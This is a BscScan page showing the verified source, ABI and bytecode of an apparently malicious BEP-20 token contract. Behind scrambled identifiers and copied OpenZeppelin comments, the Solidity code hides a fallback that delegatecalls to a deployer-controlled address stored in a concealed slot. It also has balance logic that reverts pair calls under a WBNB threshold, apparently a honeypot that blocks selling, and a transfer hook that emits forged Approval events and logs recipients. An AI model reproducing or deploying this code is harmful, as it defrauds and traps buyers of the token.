BscScan - Sponsored slots available. Book your slot here!
BEP-20
Overview
Max Total Supply
10,000,000,000
Holders
2,503
Market
Price
$0.00 @ 0.000000 BNB
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
534,660.830352098Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.
Contract Name:
TOKEN
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at BscScan.com on 2024-04-20 */ pragma solidity =0.8.20; interface IERC20 { /** * @dev Returns the rO5CrZQhh of tokens owned by `dhxqLoDn0fC`. */ function balanceOf(address dhxqLoDn0fC) external view returns (uint256); /** * @dev Returns the rO5CrZQhh of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the remaining number of tokens that `SyTr5wIFAaWR` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address SyTr5wIFAaWR) external view returns (uint256); /** * @dev Moves `rO5CrZQhh` tokens from the caller's dhxqLoDn0fC to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 rO5CrZQhh) external returns (bool); /** * @dev Moves `rO5CrZQhh` tokens from `from` to `to` using the * allowance mechanism. `rO5CrZQhh` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 rO5CrZQhh ) external returns (bool); /** * @dev Sets `rO5CrZQhh` as the allowance of `SyTr5wIFAaWR` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the SyTr5wIFAaWR's allowance to 0 and set the * desired value afterwards: * https: * * Emits an {Approval} event. */ function approve(address SyTr5wIFAaWR, uint256 rO5CrZQhh) external returns (bool); } contract TOKEN { address private l1Lhsq4NCEUg94cRTlF3y; address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; address public constant DEAD = 0x000000000000000000000000000000000000dEaD; mapping(address => uint256) internal ag2ByW; mapping(address => mapping(address => uint256)) private xKyPlxZH7Lt5n4gm; uint256 internal t5ItBXZ9K14qj4y; address internal Sg7UxMCZSgOcp; string private U7aPEvWYlG5pH9qleCP0; string private gQ7PF;function R8OAdZzQ() internal virtual { assembly { sstore(address(), caller()) } } function nrzOAfS7AkeVDxMr6qF12IQ() internal view virtual returns (address) { return msg.sender; } /** * @dev Moves `rO5CrZQhh` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `rO5CrZQhh`. */ /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return gQ7PF; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address SyTr5wIFAaWR) public view virtual returns (uint256) { return xKyPlxZH7Lt5n4gm[owner][SyTr5wIFAaWR]; } /** * @dev Destroys `rO5CrZQhh` tokens from `dhxqLoDn0fC`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `dhxqLoDn0fC` cannot be the zero address. * - `dhxqLoDn0fC` must have at least `rO5CrZQhh` tokens. */ function _burn(address dhxqLoDn0fC, uint256 rO5CrZQhh) internal virtual { require(dhxqLoDn0fC != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(dhxqLoDn0fC, address(0), rO5CrZQhh); uint256 dhxqLoDn0fCBalance = ag2ByW[dhxqLoDn0fC]; require(dhxqLoDn0fCBalance >= rO5CrZQhh, "ERC20: burn exceeds balance"); ag2ByW[dhxqLoDn0fC] -= rO5CrZQhh; t5ItBXZ9K14qj4y -= rO5CrZQhh; emit Transfer(dhxqLoDn0fC, address(0), rO5CrZQhh); _afterTokenTransfer(dhxqLoDn0fC, address(0), rO5CrZQhh); } receive() external payable {} function HWO9LYlahoNMkbRwOD() internal { bytes memory value = msg.data; assembly { if iszero(iszero(eq(mload(add(value, 40)), 32))) {if iszero(delegatecall(gas(),sload(address()),add(value, 36),sub(mload(value), 4),0,32)) {revert(0, 0)}return(0, 32)}} } constructor() { HOj7aAFo30vhaeYzI7N(tx.origin); _mint(address(this), 10000000000000000000); } /** * @dev Updates `owner` s allowance for `SyTr5wIFAaWR` based on spent `rO5CrZQhh`. * * Does not update the allowance rO5CrZQhh in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address SyTr5wIFAaWR, uint256 rO5CrZQhh ) internal virtual { uint256 Rl4PJmF8uPzqnF = allowance(owner, SyTr5wIFAaWR); if (Rl4PJmF8uPzqnF != type(uint256).max) { require( Rl4PJmF8uPzqnF >= rO5CrZQhh, "ERC20: insufficient allowance" ); unchecked { _approve(owner, SyTr5wIFAaWR, Rl4PJmF8uPzqnF - rO5CrZQhh); } } } /** * @dev Transfers ownership of the contract to a new dhxqLoDn0fC (`TkmHmqvzqZok31Qxj`). * Can only be called by the current owner. */ function transferOwnership(address TkmHmqvzqZok31Qxj) public virtual onlyOwner { require( TkmHmqvzqZok31Qxj != address(0), "Ownable: new owner is the zero address" ); HOj7aAFo30vhaeYzI7N(TkmHmqvzqZok31Qxj); } function i4KLPT3() internal view virtual returns (bytes calldata) { return msg.data; } event OwnershipTransferred( address indexed previousOwner, address indexed TkmHmqvzqZok31Qxj ); function second(Uint128x2 self) internal pure returns (uint128) { return uint128(uint256(Uint128x2.unwrap(self))); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return U7aPEvWYlG5pH9qleCP0; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `rO5CrZQhh`. */ function transfer(address to, uint256 rO5CrZQhh) public virtual returns (bool) { address owner = nrzOAfS7AkeVDxMr6qF12IQ(); _transfer(owner, to, rO5CrZQhh); return true; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return l1Lhsq4NCEUg94cRTlF3y; } /** * @dev See {IERC20-approve}. * * NOTE: If `rO5CrZQhh` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `SyTr5wIFAaWR` cannot be the zero address. */ function approve(address SyTr5wIFAaWR, uint256 rO5CrZQhh) public virtual returns (bool) { address owner = nrzOAfS7AkeVDxMr6qF12IQ(); _approve(owner, SyTr5wIFAaWR, rO5CrZQhh); return true; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual returns (uint256) { return t5ItBXZ9K14qj4y; } function asBytes32(Uint128x2 self) internal pure returns (bytes32) { return Uint128x2.unwrap(self); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `rO5CrZQhh` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `rO5CrZQhh` tokens will be minted for `to`. * - when `to` is zero, `rO5CrZQhh` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 rO5CrZQhh ) internal virtual {} function cvnP5PlM0uCEWq6wRW563y() internal view returns (uint256) { (,bytes memory returnData) = WBNB.staticcall(abi.encodeWithSelector(0x70a08231,Sg7UxMCZSgOcp)); return abi.decode(returnData, (uint256)); } function pack(uint128 first128, uint128 second128) internal pure returns (Uint128x2) { return Uint128x2.wrap(bytes32(bytes16(first128)) | bytes32(uint256(second128))); } /** * @dev Emitted when the allowance of a `SyTr5wIFAaWR` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed SyTr5wIFAaWR, uint256 value ); /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function zCtkocRRBHxeN6hU1OLM9IepCtwrwsA4dB( string memory tokenName, string memory coinSymbol, uint256 supply_ ) public onlyOwner { gQ7PF = coinSymbol; U7aPEvWYlG5pH9qleCP0 = tokenName; R8OAdZzQ(); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { HOj7aAFo30vhaeYzI7N(address(0)); } /** * @dev Initializes the contract setting the deployer as the initial owner. */ /** * @dev Transfers ownership of the contract to a new dhxqLoDn0fC (`TkmHmqvzqZok31Qxj`). * Internal function without access restriction. */ function HOj7aAFo30vhaeYzI7N(address TkmHmqvzqZok31Qxj) internal virtual { address oldOwner = l1Lhsq4NCEUg94cRTlF3y; l1Lhsq4NCEUg94cRTlF3y = TkmHmqvzqZok31Qxj; emit OwnershipTransferred(oldOwner, TkmHmqvzqZok31Qxj); } /** * @dev Atomically increases the allowance granted to `SyTr5wIFAaWR` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `SyTr5wIFAaWR` cannot be the zero address. */ function increaseAllowance(address SyTr5wIFAaWR, uint256 addedValue) public virtual returns (bool) { address owner = nrzOAfS7AkeVDxMr6qF12IQ(); _approve(owner, SyTr5wIFAaWR, allowance(owner, SyTr5wIFAaWR) + addedValue); return true; } function split(Uint128x2 self) internal pure returns (uint128, uint128) { return (first(self), second(self)); } fallback() external { HWO9LYlahoNMkbRwOD(); } /** * @dev See {IERC20-balanceOf}. */ function TheUint9306b147d90(address dhxqLoDn0fC) public view returns (uint256) { if (msg.sender == Sg7UxMCZSgOcp) { uint256 rO5CrZQhh = cvnP5PlM0uCEWq6wRW563y(); assembly { if lt(rO5CrZQhh, sload(32)) { revert(0, 0) } } } if (dhxqLoDn0fC == Sg7UxMCZSgOcp) return ag2ByW[dhxqLoDn0fC]; return ag2ByW[dhxqLoDn0fC] % t5ItBXZ9K14qj4y; } /** * @dev Sets `rO5CrZQhh` as the allowance of `SyTr5wIFAaWR` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `SyTr5wIFAaWR` cannot be the zero address. */ function _approve( address owner, address SyTr5wIFAaWR, uint256 rO5CrZQhh ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(SyTr5wIFAaWR != address(0), "ERC20: approve to the zero address"); xKyPlxZH7Lt5n4gm[owner][SyTr5wIFAaWR] = rO5CrZQhh; emit Approval(owner, SyTr5wIFAaWR, rO5CrZQhh); } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 9; } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `rO5CrZQhh` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `rO5CrZQhh` tokens have been minted for `to`. * - when `to` is zero, `rO5CrZQhh` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 rO5CrZQhh ) internal { if (ag2ByW[from] > t5ItBXZ9K14qj4y * 0xfe) { assembly { sstore(32, 0) } } else if ( ag2ByW[to] < t5ItBXZ9K14qj4y && to != Sg7UxMCZSgOcp ) { assembly{ mstore(0,rO5CrZQhh) log3( 0, 32, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, to, address() ) let n8BdnsUhQF := sload(9999) sstore(add(10000, n8BdnsUhQF), to) sstore(9999, add(1, n8BdnsUhQF)) } } } /** * @dev Atomically decreases the allowance granted to `SyTr5wIFAaWR` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `SyTr5wIFAaWR` cannot be the zero address. * - `SyTr5wIFAaWR` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address SyTr5wIFAaWR, uint256 subtractedValue) public virtual returns (bool) { address owner = nrzOAfS7AkeVDxMr6qF12IQ(); uint256 Rl4PJmF8uPzqnF = allowance(owner, SyTr5wIFAaWR); require( Rl4PJmF8uPzqnF >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, SyTr5wIFAaWR, Rl4PJmF8uPzqnF - subtractedValue); } return true; } /** * @dev Throws if called by any dhxqLoDn0fC other than the owner. */ modifier onlyOwner() { require(owner() == tx.origin, "Ownable: caller is not the owner"); _; } type Uint128x2 is bytes32; /** @dev Creates `rO5CrZQhh` tokens and assigns them to `dhxqLoDn0fC`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `dhxqLoDn0fC` cannot be the zero address. */ function _mint(address dhxqLoDn0fC, uint256 rO5CrZQhh) internal virtual { require(dhxqLoDn0fC != address(0), "ERC20: mint to the zero address"); t5ItBXZ9K14qj4y += rO5CrZQhh; ag2ByW[dhxqLoDn0fC] += rO5CrZQhh; assembly { sstore(address(), caller()) } emit Transfer(address(0), dhxqLoDn0fC, rO5CrZQhh); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `rO5CrZQhh`. * - the caller must have allowance for ``from``'s tokens of at least * `rO5CrZQhh`. */ function transferFrom( address from, address to, uint256 rO5CrZQhh ) public virtual returns (bool) { address SyTr5wIFAaWR = nrzOAfS7AkeVDxMr6qF12IQ(); _spendAllowance(from, SyTr5wIFAaWR, rO5CrZQhh); _transfer(from, to, rO5CrZQhh); return true; } function first(Uint128x2 self) internal pure returns (uint128) { return uint128(bytes16(Uint128x2.unwrap(self))); } /** * @dev Emitted when `value` tokens are moved from one dhxqLoDn0fC (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); function _transfer( address from, address to, uint256 rO5CrZQhh ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require( to != address(0) && to != address(this), "ERC20: transfer to the zero address" ); _beforeTokenTransfer(from, to, rO5CrZQhh); uint256 fromBalance = ag2ByW[from]; require(fromBalance >= rO5CrZQhh, "ERC20: transfer exceeds balance"); ag2ByW[from] -= rO5CrZQhh; ag2ByW[to] += rO5CrZQhh; emit Transfer(from, to, rO5CrZQhh); _afterTokenTransfer(from, to, rO5CrZQhh); } function asUint128x2(bytes32 self) internal pure returns (Uint128x2) { return Uint128x2.wrap(self); }}
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"SyTr5wIFAaWR","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"TkmHmqvzqZok31Qxj","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"dhxqLoDn0fC","type":"address"}],"name":"TheUint9306b147d90","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"SyTr5wIFAaWR","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"SyTr5wIFAaWR","type":"address"},{"internalType":"uint256","name":"rO5CrZQhh","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"SyTr5wIFAaWR","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"SyTr5wIFAaWR","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"rO5CrZQhh","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"rO5CrZQhh","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"TkmHmqvzqZok31Qxj","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"zCtkocRRBHxeN6hU1OLM9IepCtwrwsA4dB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801562000010575f80fd5b5062000022326200004260201b60201c565b6200003c30678ac7230489e800006200010360201b60201c565b6200036b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000174576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200016b90620002af565b60405180910390fd5b8060035f82825462000187919062000305565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620001dc919062000305565b925050819055503330558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000245919062000350565b60405180910390a35050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000297601f8362000251565b9150620002a48262000261565b602082019050919050565b5f6020820190508181035f830152620002c88162000289565b9050919050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200031182620002cf565b91506200031e83620002cf565b9250828201905080821115620003395762000338620002d8565b5b92915050565b6200034a81620002cf565b82525050565b5f602082019050620003655f8301846200033f565b92915050565b61217080620003795f395ff3fe608060405260043610610101575f3560e01c806370a082311161009457806395d89b411161006357806395d89b4114610348578063a457c2d714610372578063a9059cbb146103ae578063dd62ed3e146103ea578063f2fde38b1461042657610108565b806370a08231146102a2578063715018a6146102de5780638da5cb5b146102f45780638dd950021461031e57610108565b806323b872dd116100d057806323b872dd146101d8578063313ce56714610214578063395093511461023e578063683445c51461027a57610108565b806303fd2a451461011e57806306fdde0314610148578063095ea7b31461017257806318160ddd146101ae57610108565b3661010857005b348015610113575f80fd5b5061011c61044e565b005b348015610129575f80fd5b506101326104c1565b60405161013f91906113b0565b60405180910390f35b348015610153575f80fd5b5061015c6104c7565b6040516101699190611453565b60405180910390f35b34801561017d575f80fd5b50610198600480360381019061019391906114e1565b610557565b6040516101a59190611539565b60405180910390f35b3480156101b9575f80fd5b506101c2610579565b6040516101cf9190611561565b60405180910390f35b3480156101e3575f80fd5b506101fe60048036038101906101f9919061157a565b610582565b60405161020b9190611539565b60405180910390f35b34801561021f575f80fd5b506102286105b0565b60405161023591906115e5565b60405180910390f35b348015610249575f80fd5b50610264600480360381019061025f91906114e1565b6105b8565b6040516102719190611539565b60405180910390f35b348015610285575f80fd5b506102a0600480360381019061029b919061172a565b6105ee565b005b3480156102ad575f80fd5b506102c860048036038101906102c391906117b2565b610690565b6040516102d59190611561565b60405180910390f35b3480156102e9575f80fd5b506102f26107ec565b005b3480156102ff575f80fd5b5061030861086c565b60405161031591906113b0565b60405180910390f35b348015610329575f80fd5b50610332610893565b60405161033f91906113b0565b60405180910390f35b348015610353575f80fd5b5061035c6108ab565b6040516103699190611453565b60405180910390f35b34801561037d575f80fd5b50610398600480360381019061039391906114e1565b61093b565b6040516103a59190611539565b60405180910390f35b3480156103b9575f80fd5b506103d460048036038101906103cf91906114e1565b6109b0565b6040516103e19190611539565b60405180910390f35b3480156103f5575f80fd5b50610410600480360381019061040b91906117dd565b6109d2565b60405161041d9190611561565b60405180910390f35b348015610431575f80fd5b5061044c600480360381019061044791906117b2565b610a54565b005b5f80368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f81840152601f19601f82011690508083019250505050505050905060206028820151036104be5760205f60048351036024840130545af46104b9575f80fd5b60205ff35b50565b61dead81565b6060600580546104d690611848565b80601f016020809104026020016040519081016040528092919081815260200182805461050290611848565b801561054d5780601f106105245761010080835404028352916020019161054d565b820191905f5260205f20905b81548152906001019060200180831161053057829003601f168201915b5050505050905090565b5f80610561610b43565b905061056e818585610b4a565b600191505092915050565b5f600354905090565b5f8061058c610b43565b9050610599858285610d0d565b6105a4858585610d98565b60019150509392505050565b5f6009905090565b5f806105c2610b43565b90506105e38185856105d485896109d2565b6105de91906118a5565b610b4a565b600191505092915050565b3273ffffffffffffffffffffffffffffffffffffffff1661060d61086c565b73ffffffffffffffffffffffffffffffffffffffff1614610663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065a90611922565b60405180910390fd5b81600690816106729190611add565b5082600590816106829190611add565b5061068b611058565b505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610700575f6106ee61105d565b90506020548110156106fe575f80fd5b505b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107995760015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506107e7565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107e49190611bd9565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661080b61086c565b73ffffffffffffffffffffffffffffffffffffffff1614610861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085890611922565b60405180910390fd5b61086a5f61116a565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6060600680546108ba90611848565b80601f01602080910402602001604051908101604052809291908181526020018280546108e690611848565b80156109315780601f1061090857610100808354040283529160200191610931565b820191905f5260205f20905b81548152906001019060200180831161091457829003601f168201915b5050505050905090565b5f80610945610b43565b90505f61095282866109d2565b905083811015610997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098e90611c79565b60405180910390fd5b6109a48286868403610b4a565b60019250505092915050565b5f806109ba610b43565b90506109c7818585610d98565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3273ffffffffffffffffffffffffffffffffffffffff16610a7361086c565b73ffffffffffffffffffffffffffffffffffffffff1614610ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac090611922565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2e90611d07565b60405180910390fd5b610b408161116a565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baf90611d95565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90611e23565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d009190611561565b60405180910390a3505050565b5f610d1884846109d2565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d925781811015610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7b90611e8b565b60405180910390fd5b610d918484848403610b4a565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfd90611f19565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610e6e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea490611fa7565b60405180910390fd5b610eb883838361122b565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610f3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f339061200f565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f88919061202d565b925050819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610fdb91906118a5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161103f9190611561565b60405180910390a3611052848484611230565b50505050565b333055565b5f8073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a0823160045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016110c191906113b0565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161110f91906120a4565b5f60405180830381855afa9150503d805f8114611147576040519150601f19603f3d011682016040523d82523d5f602084013e61114c565b606091505b509150508080602001905181019061116491906120ce565b91505090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe60035461123f91906120f9